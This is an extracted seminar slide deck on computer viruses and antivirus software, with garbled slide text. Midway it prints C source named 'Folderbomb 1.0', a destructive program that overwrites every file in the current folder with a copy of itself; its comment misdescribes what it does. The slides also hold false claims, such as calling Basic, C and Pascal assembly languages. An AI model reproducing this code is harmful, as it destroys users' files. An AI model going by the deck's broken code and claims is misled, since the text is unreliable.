computer viruses and anti viruses by sasikumar

Contents Intentional Overview

Definition of Computer Virus ?

Who creates/writes viruses ?

Why people creates computer viruses?

How can they write virus codes?

Effects by virus Infection

How virus works

Major Types of Viruses

Boot Sector Virus

Examples for Viruses

Virus Prevention

Conclusion

Intentional Overview

A Computer Virus is a computer program

What is a Computer Virus ?

that can copy itself and infect a computer

Without permission or knowledge of the user.

Who creates/writes viruses ?

1.INFO

ATTACKERS

Who creates/writes viruses ?

Who creates/writes viruses ?

Who creates/writes viruses ?

INFO ATTACKERS

Why people creates computer viruses?

To attack the products of specific companies.

To theft the confidential info. To distribute political messages.

“Some virus writers consider their creations to be works of art, and see virus writing as a creative hobby”

How can they write virus codes?

By using Assembly languages like Basic, c,Pascal e.t.c

What will happen if your computer

Infected by virusFunctions slower than

normalResponds slowly and

freezes oftenRestarts itself oftenSee uncommon error

messages, distorted menus, and dialog boxes

Notice applications fail to work correctly

Fail to print correctly

How virus works

MajorTypes of Viruses

Virus

Boot Sector Virus

Boot Sector Virus

Program/File

Infector

Program/File

Infector

TrojanHorsesTrojanHorses WormsWorms Macro

VirusesMacro Viruses Root KitRoot Kit

The boot virus affects the

booting process of the

infected computer system.

thus causing slow start up

and shut down process

Boot Sector Virus

Program/File Infector virus

Becomes active when the

program file carrying the

virus is opened.

usually with below extensions

.BIN .COM

.EXE .OVL

.DRV

Appears as interesting

program file but when

installed it allows

intruders to access and

read your files

Trojan Horses

Copies and multiplies it

self by using computer

networks and security

flaws

Worms

Programmed as a macro

embedded in

a document, usually

found in Microsoft Word

and Excel.

Macro Virus

Designed to take

fundamental control of

a computer system,

without authorization by

the system's owners

RootKit

Two examples for Viruses

Melissa Type : Macro virus

I Love YouType : worm

#include<stdio.h>#include<conio.h>#include#include#includevoid main(int argc,char* argv[]){ char buf[512];int source,target,byt,done;struct ffblk ffblk;clrscr();textcolor(2);cprintf(”————————————————————————–”);printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);cprintf(”————————————————————————–”);done = findfirst(”*.*”,&ffblk,0); 

while (!done){ printf(”\n”); cprintf(” %s “, ffblk.ff_name); printf(”is attacked by “); cprintf(”Folderbomb”);source=open(argv[0],O_RDONLYO_BINARY);target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);while(1){byt=read(source,buf,512);if(byt>0)write(target,buf,byt);elsebreak;}close(source);close(target);done = findnext(&ffblk);}getch();}

/*This is a simple virus program to create a virus in cIt will create Folder in a Folder in a Folder and so on ......*/

Virus Prevention

Sources of Viruses

Removable Data Storage Devises

Internet

Anti-Virus

How does an Anti-Virus work ?Scanner:

Detects the virus by using a list of existing virus

signature/definitions.

Monitors:

These are memory resident programs and alert

when any changes find in executable program.

INTEGRITY CHECKING PROGRAMS: To execute any virus must integrate with

a executable program.so it checks for virus code

integration

Better than

Conclusion

Prevention is

Cure

Thank you

A seminar by sasi